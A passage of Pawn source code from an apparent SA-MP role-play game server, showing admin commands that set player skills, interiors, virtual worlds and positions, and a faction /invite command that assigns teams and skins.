									SaveKonVal(giveplayerid, "pMechSkill", 200);
									}
									if(amount == 3)
									{
									PlayerInfo[giveplayerid][pMechSkill] = 100;
									SaveKonVal(giveplayerid, "pMechSkill", 100);
									}
									if(amount == 2)
									{
									PlayerInfo[giveplayerid][pMechSkill] = 50;
									SaveKonVal(giveplayerid, "pMechSkill", 50);
									}
									if(amount == 1)
									{
									PlayerInfo[giveplayerid][pMechSkill] = 0;
									SaveKonVal(giveplayerid, "pMechSkill", 0);
									}
									format(string, sizeof(string), "{FFFFFF}%s's mechanic skill was set to %d", PINFO[giveplayerid][pName], amount);

									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's mechanic skill to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "{FFFFFF}%s sets your mechanic skill to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 13:
								{
									if(amount >= 6) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount < 0) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount == 5)
									{
									PlayerInfo[giveplayerid][pNewsSkill] = 400;
									SaveKonVal(giveplayerid, "pNewsSkill", 400);
									}
									if(amount == 4)
									{
									PlayerInfo[giveplayerid][pNewsSkill] = 200;
									SaveKonVal(giveplayerid, "pNewsSkill", 200);
									}
									if(amount == 3)
									{
									PlayerInfo[giveplayerid][pNewsSkill] = 100;
									SaveKonVal(giveplayerid, "pNewsSkill", 100);
									}
									if(amount == 2)
									{
									PlayerInfo[giveplayerid][pNewsSkill] = 50;
									SaveKonVal(giveplayerid, "pNewsSkill", 50);
									}
									if(amount == 1)
									{
									PlayerInfo[giveplayerid][pNewsSkill] = 0;
									SaveKonVal(giveplayerid, "pNewsSkill", 0);
									}
									format(string, sizeof(string), "{FFFFFF}%s's news reporter skill was set to %d", PINFO[giveplayerid][pName], amount);

									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's news reporter skill to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your news reporter skill to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 14:
								{
									if(amount >= 6) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount < 0) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount == 5)
									{
									PlayerInfo[giveplayerid][pJackSkill] = 400;
									SaveKonVal(giveplayerid, "pJackSkill", 400);
									}
									if(amount == 4)
									{
									PlayerInfo[giveplayerid][pJackSkill] = 200;
									SaveKonVal(giveplayerid, "pJackSkill", 200);
									}
									if(amount == 3)
									{
									PlayerInfo[giveplayerid][pJackSkill] = 100;
									SaveKonVal(giveplayerid, "pJackSkill", 100);
									}
									if(amount == 2)
									{
									PlayerInfo[giveplayerid][pJackSkill] = 50;
									SaveKonVal(giveplayerid, "pJackSkill", 50);
									}
									if(amount == 1)
									{
									PlayerInfo[giveplayerid][pJackSkill] = 0;
									SaveKonVal(giveplayerid, "pJackSkill", 0);
									}
									format(string, sizeof(string), "{FFFFFF}%s's car jacker skill was set to %d", PINFO[giveplayerid][pName], amount);

									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's car jacker skill to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your car jacker skill to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 15:
								{
									if(amount >= 6) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount < 0) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount == 5)
									{
									PlayerInfo[giveplayerid][pDrugsSkill] = 400;
									SaveKonVal(giveplayerid, "pDrugsSkill", 400);
									}
									if(amount == 4)
									{
									PlayerInfo[giveplayerid][pDrugsSkill] = 200;
									SaveKonVal(giveplayerid, "pDrugsSkill", 200);
									}
									if(amount == 3)
									{
									PlayerInfo[giveplayerid][pDrugsSkill] = 100;
									SaveKonVal(giveplayerid, "pDrugsSkill", 100);
									}
									if(amount == 2)
									{
									PlayerInfo[giveplayerid][pDrugsSkill] = 50;
									SaveKonVal(giveplayerid, "pDrugsSkill", 50);
									}
									if(amount == 1)
									{
									PlayerInfo[giveplayerid][pDrugsSkill] = 0;
									SaveKonVal(giveplayerid, "pDrugsSkill", 0);
									}
									format(string, sizeof(string), "{FFFFFF}%s's drugs dealer skill was set to %d", PINFO[giveplayerid][pName], amount);

									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's drugs dealer skill to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your drugs dealer skill to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 16:
								{
									PlayerInfo[giveplayerid][pLawyerPoint] = amount;
									SaveKonVal(giveplayerid, "pLawyerPoint", amount);
									format(string, sizeof(string), "{FFFFFF}%s's lawyer points was set to %s", PINFO[giveplayerid][pName], FormatNumber(amount));

									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's lawyer points to %s", sendername, giveplayer, FormatNumber(amount));
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your lawyer points to %s", sendername, FormatNumber(amount));
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 17:
								{
									PlayerInfo[giveplayerid][pCar_1] = amount;
									SaveKonVal(giveplayerid, "pCar_1", amount);
									format(string, sizeof(string), "{FFFFFF}%s's vehicleid 1 was set to %d", PINFO[giveplayerid][pName], amount);

									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's vehicleid 1 to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "{FFFFFF}%s sets your vehicleid 1 to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 18:
								{
									PlayerInfo[giveplayerid][pRob] = amount;
									SaveKonVal(giveplayerid, "pRob", amount);
									format(string, sizeof(string), "{FFFFFF}%s's rob points was set to %s", PINFO[giveplayerid][pName], FormatNumber(amount));

									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's rob points to %s", sendername, giveplayer, FormatNumber(amount));
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your rob points to %s", sendername, FormatNumber(amount));
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 19:
								{
									PlayerInfo[giveplayerid][pPunish] = amount;
									SaveKonVal(giveplayerid, "pPunish", amount);
									format(string, sizeof(string), "{FFFFFF}%s's faction punishes was set to %d", PINFO[giveplayerid][pName], amount);

									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's faction punishes to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your faction punishes to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 20:
								{
									PlayerInfo[giveplayerid][pFwarn] = amount;
									SaveKonVal(giveplayerid, "pFwarn", amount);
									format(string, sizeof(string), "{FFFFFF}%s's faction warns was set to %d", PINFO[giveplayerid][pName], amount);

									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's faction warns to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your faction warns to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 21:
								{
									if(amount >= 3) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid sex.");
									if(amount < 0) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid sex.");
									PlayerInfo[giveplayerid][pSex] = amount;
									SaveKonVal(giveplayerid, "pSex", amount);
									if(amount == 1)
									{
									format(string, sizeof(string), "{FFFFFF}%s's sex was set to male", PINFO[giveplayerid][pName]);

									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's sex to male", sendername, giveplayer);
									ABroadCast(COLOR_AdminWarn,strr,1);
									new ws[144]
									format(ws, sizeof(ws), "%s sets your sex to male", sendername);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
									}
									if(amount == 2)
									{
									format(string, sizeof(string), "{FFFFFF}%s's sex was set to female", PINFO[giveplayerid][pName]);

									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's sex to female", sendername, giveplayer);
									ABroadCast(COLOR_AdminWarn,strr,1);
									new ws[144]
									format(ws, sizeof(ws), "%s sets your sex to female", sendername);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
									}

								}
								case 22:
								{
									if(amount >= 6) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount < 0) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount == 5)
									{
									PlayerInfo[giveplayerid][pRobSkill] = 100;
									SaveKonVal(giveplayerid, "pRobSkill", 100);
									}
									if(amount == 4)
									{
									PlayerInfo[giveplayerid][pRobSkill] = 75;
									SaveKonVal(giveplayerid, "pRobSkill", 75);
									}
									if(amount == 3)
									{
									PlayerInfo[giveplayerid][pRobSkill] = 50;
									SaveKonVal(giveplayerid, "pRobSkill", 50);
									}
									if(amount == 2)
									{
									PlayerInfo[giveplayerid][pRobSkill] = 25;
									SaveKonVal(giveplayerid, "pRobSkill", 25);
									}
									if(amount == 1)
									{
									PlayerInfo[giveplayerid][pRobSkill] = 0;
									SaveKonVal(giveplayerid, "pRobSkill", 0);
									}
									format(string, sizeof(string), "{FFFFFF}%s's rob skill was set to %d", PINFO[giveplayerid][pName], amount);

									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's rob skill to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your rob skill to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}

								default:
								{
									format(string, sizeof(string), "Invalid Stat Code.", amount);
								}

							}
							//SendMessage(playerid, COLOR_GRAD1, string);
						}

					}//not valid id
			return 1;
		}
	}
	//----------------------------------[SETINT]-----------------------------------------------
		if(strcmp(cmd, "/setint", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Setint <Playerid/PartOfName> <Interiorid>");
					return 1;
				}
				new playa;
				playa = ReturnUser6(tmp);
				new intid;
				tmp = strtok(cmdtext, idx);
				intid = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 4 && PINFO[playerid][pSponser] == 0)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							SetPlayerInterior(playa, intid);
							format(string, sizeof(string), "   You have set %s's interior to %d.", giveplayer, intid);
							SendMessage(playerid, COLOR_GRAD1, string);
							format(string, sizeof(string), "   %s has set your interior to %d.", sendername, intid);
							SendMessage(playa, COLOR_GRAD1, string);
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
	//----------------------------------[SETVW]-----------------------------------------------
		if(strcmp(cmd, "/setvw", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid,  COL_SYN, "Syntax: /Setvw <Playerid/PartOfName> <Virworldid>");
					return 1;
				}
				new playa;
				playa = ReturnUser6(tmp);
				new virid;
				tmp = strtok(cmdtext, idx);
				virid = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 4 && PINFO[playerid][pSponser] == 0)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
						if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
					{
					if(playa!=playerid)
					{
					   SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
					   return 1;
					}
					}
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							SetPlayerVirtualWorld(playa, virid);
							format(string, sizeof(string), "You have set %s virtual world to %d.", giveplayer, virid);
							SendMessage(playerid, COLOR_GRAD1, string);
							format(string, sizeof(string), "%s have set your virtual world to %d.", sendername, virid);
							SendMessage(playa, COLOR_GRAD1, string);
					   new sttrr[256];
					   format(sttrr,256,"{FFFFFF}Admin %s has been set %s's virtual world to %d.", PINFO[playerid][pName], PINFO[playa][pName], virid);
					   AdminWarn(sttrr);
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
	//----------------------------------[SKYDIVE]------------------------------------------------
	/*
		if(strcmp(cmd, "/skydive", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pAdmin] >= 2)
				{
					GetPlayerPos(playerid, rx, ry, rz);
					if (IsPlayerConnected(playerid))
					{
						GivePlayerKolang(playerid, 46, 0);
						SetPlayerPos(playerid,rx, ry, rz+1500);
						SendMessage(playerid, COLOR_RED, "GO!! GO!! GO!!");
						Mahal[playerid] = 9999;
						TooHouse[playerid] = 9999;
						TooBiz[playerid] = 9999;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		*/
		
				if(strcmp(cmd, "/cancelmyad", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
					if (IsPlayerConnected(playerid))
					{
					if(myaddade[playerid] !=  1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't requested an ad.");
		Adplayer[playerid] = 0;
		myaddade[playerid] = 0;
		adtimer -= adtimerplayer[playerid];
		adtimerplayer[playerid] -= adtimer;
				 new recons[1024];
		 format(recons, sizeof(recons), "You have canceled your ad.", PINFO[playerid][pName]);
		SendClientMessage(playerid,  COLOR_LIGHTRED, recons);
		  new adm[114];
		  format(adm, sizeof(adm), "{FFFFFF}Player %s has canceled %s ad.", PlayerInfo[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"));
		  AdminWarn(adm);
					}
			}
			return 1;
		}
		
		
		
		
	//----------------------------------[FOURDIVE]------------------------------------------------
		if(strcmp(cmd, "/setmypos", true) == 0)
		{
		 if(IsPlayerConnected(playerid))
		 {
		  if(PlayerInfo[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0)
		  {
		  SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
		  return 1;
		  }
		  new Float:PosX;
		  new Float:PosY;
		  new Float:PosZ;
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
		  SCM(playerid,COL_SYN,"Syntax: /setmypos <PosX> <PosY> <PosZ>");
		  return 1;
		  }
		  PosX = floatstr(tmp);
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
		  SCM(playerid,COL_SYN,"Syntax: /setmypos <PosX> <PosY> <PosZ>");
		  return 1;
		  }
		  PosY = floatstr(tmp);
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
		  SCM(playerid,COL_SYN,"Syntax: /setmypos <PosX> <PosY> <PosZ>");
		  return 1;
		  }
		  PosZ = floatstr(tmp);
		  SetPlayerPos(playerid,PosX,PosY,PosZ);
		  new striing[256];
		  format(striing,sizeof(striing),"You are now in %f,%f,%f",PosX,PosY,PosZ);
		  SCM(playerid,COLOR_LIGHTRED,striing);
		new sttrr[118];
		format(sttrr,256,"{FFFFFF}Admin %s sets %s pos in %f %f %f", PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), PosX, PosY, PosZ);
		AdminWarn(sttrr);
		  return 1;
		  }
		  return 1;
		  }
		  /*
		  if(strcmp(cmd, "/createsbiz", true) == 0)
		  {
		  if(PlayerInfo[playerid][pAdmin] <= 7)
		  {
		  SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		  return 1;
		  }
		  if(IsPlayerConnected(playerid))
		  {
		  new forme[256];
		  new Float:xx,Float:yy,Float:zz;
		  GetPlayerPos(playerid,xx,yy,zz);
		  format(forme,256,"0|The State|<Your Message>|No-one|%f|%f|%f|<Level Needed>|<Buy price>|<Entrance Cost>|0|0|%d|0|0|0",xx,yy,zz,GetPlayerInterior(playerid));
		  SCM(playerid,COLOR_WHITE,forme);
		  return 1;
		  }
		  return 1;
		  }
		  */
		  /*
		if(strcmp(cmd, "/fourdive", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 5) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Fourdive <Playerid1> <Playerid2> <Playerid3> <Playerid4>");
					return 1;
				}
				new para1;
				new para2;
				new para3;
				new para4;
				para1 = strval(tmp);
				tmp = strtok(cmdtext, idx);
				para2 = strval(tmp);
				tmp = strtok(cmdtext, idx);
				para3 = strval(tmp);
				tmp = strtok(cmdtext, idx);
				para4 = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 5)
				{
					if (IsPlayerConnected(para1)){ GivePlayerKolang(para1, 46, 0); Mahal[para1] = 9999; TooHouse[para1] = 9999;
				TooBiz[para1] = 9999;SetPlayerPos(para1,1536.0, -1360.0, 1350.0);SetPlayerInterior(para1,0);SendMessage(para1, COLOR_WHITE, "GO!! GO!! GO!!");}
					if ((IsPlayerConnected(para2)) && (para2>0)) { GivePlayerKolang(para2, 46, 0); Mahal[para2] = 9999; TooHouse[para2] = 9999;
				TooBiz[para2] = 9999;SetPlayerPos(para2,1536.0, -1345.0, 1350.0);SetPlayerInterior(para2,0);SendMessage(para2, COLOR_RED, "GO!! GO!! GO!!");}
					if ((IsPlayerConnected(para3)) && (para3>0)) { GivePlayerKolang(para3, 46, 0); Mahal[para3] = 9999; TooHouse[para3] = 9999;
				TooBiz[para3] = 9999;SetPlayerPos(para3,1552.0, -1345.0, 1350.0);SetPlayerInterior(para3,0);SendMessage(para3, COLOR_RED, "GO!! GO!! GO!!");}
					if ((IsPlayerConnected(para4)) && (para4>0)) { GivePlayerKolang(para4, 46, 0); Mahal[para4] = 9999; TooHouse[para4] = 9999;
				TooBiz[para4] = 9999;SetPlayerPos(para4,1552.0, -1360.0, 1350.0);SetPlayerInterior(para4,0);SendMessage(para4, COLOR_RED, "GO!! GO!! GO!!");}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
					return 1;
				}
			}
			return 1;
		}
		*/
		if(strcmp(cmd, "/savecc", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
		   if(PlayerInfo[playerid][pAdmin] < 13) return SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");

				ShowPlayerDialog(playerid, 1088, DIALOG_STYLE_INPUT, "ID", "Clan ID", "OK", "Back");
			}
			return 1;
		}
	//----------------------------------[INVITE]------------------------------------------------
		if(strcmp(cmd, "/invite", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			//if(PINFO[playerid][pLeader] == 21) return SendMessage(playerid, COLOR_YELLOW, "Only other leaders can use this command.");
			if (PlayerInfo[playerid][pLeader] >= 1 || PlayerInfo[playerid][pRank] >= 6)
				{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Invite <Playerid/PartOfName>");
					return 1;
				}
				new para1;
				new ftext[50];
				para1 = ReturnUser6(tmp);
					if (PlayerInfo[playerid][pLeader] >= 1)
				   {
					if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
					{
					SendClientMessage(playerid, COLOR_YELLOW2, "Error:{FF0000} You can't invite any players because you are hoster.");
					return 1;
			}
	   }
				if(para1 == playerid)
				{
				SCM(playerid,COLOR_SINA3,"You cannot invite your self.");
				return 1;
				}
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							if (PlayerInfo[para1][pMember] == 0 && PlayerInfo[para1][pLeader] == 0)
							{
							if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
								if(PlayerInfo[para1][pPunish] > 0)
								{
									SendMessage(playerid, COLOR_YELLOW2, "Error: That player has faction punish(es).");
									return 1;
								}
							   //if(PINFO[para1][pCard] == 0 || PINFO[para1][pCard] == 3) return SCM(playerid, COLOR_GRAD2, "You can't invite him, player has not soldier finish card.");

								if(GetPlayerWantedLevel(para1) >= 1)
								{
								SCM(playerid,COLOR_LIGHTRED,"That player has Wanted level.");
								return 1;
								}
								new myfaction = 0;
								new factionid;
								new myfamily;
								if(PINFO[playerid][pLeader] != 0) myfaction = 1;
								if(PINFO[playerid][pLeader] == 0) myfaction = 2;
								if(myfaction == 1)
								{
								factionid = (PlayerInfo[playerid][pLeader]-1);
								}
								if(myfaction == 2)
								{
								factionid = (PlayerInfo[playerid][pMember]-1);
								}
								new facmembers = GetFactionMembers(factionid);
                                if(facmembers >= DynamicFactions[factionid][fMaxMembers]) return SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your faction is full of members.");
                                if(PlayerInfo[para1][pLevel] < DynamicFactions[factionid][fMinLevel])
                                {
								   new sendthat[144];
                                   format(sendthat,sizeof(sendthat),"Error: Your faction mimimum level to invite is %d but that player's level is %d.",DynamicFactions[factionid][fMinLevel], PINFO[para1][pLevel]);
                                   SendClientMessage(playerid, COLOR_YELLOW2, sendthat);
                                   return 1;
                                }
                                if(PINFO[playerid][pLeader] == 0)
                                {
			                    myfamily = PlayerInfo[playerid][pMember];
			                    if(DynamicFactions[myfamily-1][fApplication] == 1) return SCM(playerid,COLOR_YELLOW2,"Error: Your faction is lock.");
			                    }
                                if(PINFO[playerid][pLeader] >= 1)
                                {
			                    myfamily = PlayerInfo[playerid][pLeader];
			                    if(DynamicFactions[myfamily-1][fApplication] == 1) return SCM(playerid,COLOR_YELLOW2,"Error: Your faction is lock.");
			                    }
								if(PINFO[para1][pMember] != 0 || PINFO[para1][pLeader] != 0 || PINFO[para1][pRank] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: That player is already in a faction.");
								if(PlayerInfo[playerid][pLeader] == 1 || (PlayerInfo[playerid][pMember] == 1 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_COP;
									SaveKonVal(para1, "pTeam", TEAM_COP);
									ftext = "Police Departament";
									//ChosenSkin[para1] = 280;
									if(PINFO[para1][pSex]==1)
									{
									SetPlayerSkin(para1, 280);
									PlayerInfo[para1][fSkin] = 280; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 306);
									PlayerInfo[para1][fSkin] = 306; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
								else if(PlayerInfo[playerid][pLeader] == 2 || (PlayerInfo[playerid][pMember] == 2 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_COP;
									SaveKonVal(para1, "pTeam", TEAM_COP);
									ftext = "FBI";
									//ChosenSkin[para1] = 286;
									if(PINFO[para1][pSex]==1)
									{
									SetPlayerSkin(para1, 166);
									PlayerInfo[para1][fSkin] = 166; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 93);
									PlayerInfo[para1][fSkin] = 93; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
								else if(PlayerInfo[playerid][pLeader] == 3 || (PlayerInfo[playerid][pMember] == 3 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_COP;
									SaveKonVal(para1, "pTeam", TEAM_COP);
									ftext = "National Guard";
									//ChosenSkin[para1] = 93;
									if(PINFO[para1][pSex]==1)
									{
									SetPlayerSkin(para1, 285);
									PlayerInfo[para1][fSkin] = 285; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 93);
									PlayerInfo[para1][fSkin] = 93; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
								else if(PlayerInfo[playerid][pLeader] == 4 || (PlayerInfo[playerid][pMember] == 4 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_MEDIC;
									SaveKonVal(para1, "pTeam", TEAM_MEDIC);
									ftext = "Firemen/Ambulance";
									//ChosenSkin[para1] = 141;
									if(PINFO[para1][pSex]==1)
									{
									SetPlayerSkin(para1, 274);
									PlayerInfo[para1][fSkin] = 274; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 141);
									PlayerInfo[para1][fSkin] = 141; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
								else if(PlayerInfo[playerid][pLeader] == 5 || (PlayerInfo[playerid][pMember] == 5 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_SM;
									SaveKonVal(para1, "pTeam", TEAM_SM);
									ftext = "The Silence Mafia";
									//ChosenSkin[para1] = 121;
									if(PINFO[para1][pSex]==1)
									{
									SetPlayerSkin(para1, 121);
									PlayerInfo[para1][fSkin] = 121; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 214);
									PlayerInfo[para1][fSkin] = 214; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
								else if(PlayerInfo[playerid][pLeader] == 6 || (PlayerInfo[playerid][pMember] == 6 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_KM;
									SaveKonVal(para1, "pTeam", TEAM_KM);
									ftext = "The Killers Family";
									//ChosenSkin[para1] = 233;
									if(PINFO[para1][pSex]==1)
									{
									SetPlayerSkin(para1, 117);
									PlayerInfo[para1][fSkin] = 117; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 233);
									PlayerInfo[para1][fSkin] = 233; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
								else if(PlayerInfo[playerid][pLeader] == 7 || (PlayerInfo[playerid][pMember] == 7 && PINFO[playerid][pRank] >= 6))
								{
									SCM(playerid, COLOR_LIGHTGREEN, "Mayors can't invite.");
									return 1;
								}
								else if(PlayerInfo[playerid][pLeader] == 8 || (PlayerInfo[playerid][pMember] == 8 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_HITMAN;
									SaveKonVal(para1, "pTeam", TEAM_HITMAN);
									ftext = "Hitman Agency"; //ChosenSkin[para1] = 117;
									if(PINFO[para1][pSex]==1)
									{
									SetPlayerSkin(para1, 186);
									PlayerInfo[para1][fSkin] = 186; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 93);
									PlayerInfo[para1][fSkin] = 93; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
								else if(PlayerInfo[playerid][pLeader] == 9 || (PlayerInfo[playerid][pMember] == 9 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_NEWS;
									SaveKonVal(para1, "pTeam", TEAM_NEWS);
									ftext = "News Reporter"; //ChosenSkin[para1] = 148;
									if(PINFO[para1][pSex]==1)
									{
									SetPlayerSkin(para1, 188);
									PlayerInfo[para1][fSkin] = 188; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 150);
									PlayerInfo[para1][fSkin] = 150; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
								else if(PlayerInfo[playerid][pLeader] == 10 || (PlayerInfo[playerid][pMember] == 10 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_TAXI;
									SaveKonVal(para1, "pTeam", TEAM_TAXI);
									ftext = "Taxi Cab Company"; //ChosenSkin[para1] = 255;
									if(PINFO[para1][pSex]==1)
